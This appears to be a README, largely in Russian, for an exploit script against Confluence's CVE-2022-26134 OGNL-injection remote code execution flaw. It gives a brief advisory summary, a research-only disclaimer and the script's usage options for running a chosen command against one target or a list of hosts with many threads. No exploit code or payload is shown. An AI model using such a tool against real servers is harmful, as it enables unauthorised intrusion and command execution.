Confluence Pre-Auth Remote Code Execution via OGNL Injection (CVE-2022-26134)

Удаленное выполнение кода без аутентификации в Confluence через OGNL-инъекцию (CVE-2022-26134)

• 2 июня 2022 года Atlassian опубликовала предупреждение безопасности для своих приложений Confluence Server и Data Center, указав на критическую уязвимость удаленного выполнения кода без аутентификации. OGNL-инъекция позволяет неаутентифицированному пользователю выполнить произвольный код на экземпляре Confluence Server или Data Center.

ВАЖНО

Этот эксплойт предназначен только для демонстрации уязвимости исследователями. Я не рекомендую незаконных действий и не несу ответственности за любое вредоносное использование этого скрипта.

• Пример запроса

Использование эксплойта

python3 exploit.py -h
Usage: exploit.py [options]

Options:
  -h, --help            show this help message and exit
  -u URL, --url=URL     Base target uri (ex. http://target-uri/)
  -f FILEHOSTS, --file=FILEHOSTS
                        example.txt
  -t THREADS_SET, --threads=THREADS_SET
  -m TIMEOUT, --maxtimeout=TIMEOUT
  -o OUTPUT, --output=OUTPUT
  -c COMMAND, --cmd=COMMAND